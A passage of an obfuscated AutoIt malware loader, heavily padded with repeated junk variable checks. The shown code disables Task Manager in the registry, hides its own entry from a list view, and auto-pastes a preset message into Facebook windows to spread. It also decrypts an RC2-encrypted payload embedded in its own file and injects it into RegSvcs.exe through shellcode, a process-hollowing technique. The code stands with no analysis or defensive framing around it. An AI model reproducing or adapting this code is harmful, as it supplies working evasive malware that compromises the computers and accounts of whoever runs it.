- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func dcreat($var)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- DirCreate($var)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func task()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func hide()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $hwnd = ControlGetHandle("", "", "[CLASS:SysListView32]")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $line = _guictrllistview_findtext($hwnd, @ScriptName)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- DllCall("user32.dll", "int", "SendMessage", "hwnd", $hwnd, "int", 4104, "int", $line, "int", "0")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func facebook_timer()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $min = @MIN + 1
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $msg = $fbmessage
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- While 1
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Sleep(10)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If @MIN >= $min Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- facebook($msg)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Sleep(10)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- WEnd
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func facebook($msg)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $dll = DllOpen("user32.dll")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Sleep(2)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If _ispressed("0D", $dll) AND WinActive("Facebook -") = True Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- ClipPut($msg)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Send("^v{ENTER}")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Sleep(1)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- ClipPut("")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $min = @MIN + 1
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If $min > 60 Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $min = $min - 60
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- DllClose($dll)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $vdll = "user32.dll"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func _ispressed($shexkey, $vdll)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $a_r = DllCall($vdll, "short", "GetAsyncKeyState", "int", "0x" & $shexkey)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If @error Then Return SetError(@error, @extended, False)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Return BitAND($a_r[0], 32768) <> 0
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- submain()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func submain()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $sapppath = @ScriptFullPath
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $skey = "\\carbons\\"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $appexe = $sapppath
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $sarquive = FileRead($sapppath)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $r_xcrypted = get_binded_settings($sarquive, $skey)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $r_xzeros = get_binded_settings($r_xcrypted, "//J_Y//")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $encrypted_xfile = StringTrimRight($r_xcrypted, StringLen($r_xzeros) + StringLen("//J_Y//"))
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $sarquive = _crypt_decryptdata($encrypted_xfile, $c_pass, $calg_rc2)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Call(_runpe($sarquive))
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func slenex($sstr)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $result, $i, $blen
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Do
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $i = $i + 1
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $blen = StringLeft($sstr, $i)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $result = $i
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Until $sstr = $blen
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Return $result
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndFunc
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Func _runpe($binary)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If $binary = "" Then Exit
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $asm = shell()
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $bufferasm = DllStructCreate("byte[" & BinaryLen($asm) & "]")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $binbuffer = DllStructCreate("byte[" & BinaryLen($binary) & "]")
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- DllStructSetData($bufferasm, 1, $asm)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- DllStructSetData($binbuffer, 1, $binary)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $net2 = "/-net2-/"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If StringInStr($path, $net2) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $injecto = @WindowsDir & "\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- If FileExists($injecto) Then
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $ret = DllCall("user32.dll", "int", "CallWindowProcW", "ptr", DllStructGetPtr($bufferasm), "wstr", $injecto, "ptr", DllStructGetPtr($binbuffer), "int", 0, "int", 0)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Else
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $injecto2 = @WindowsDir & "\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- Local $ret = DllCall("user32.dll", "int", "CallWindowProcW", "ptr", DllStructGetPtr($bufferasm), "wstr", $injecto2, "ptr", DllStructGetPtr($binbuffer), "int", 0, "int", 0)
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
- Else
- EndIf
- EndIf
- $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
- $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
- If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
- Exit
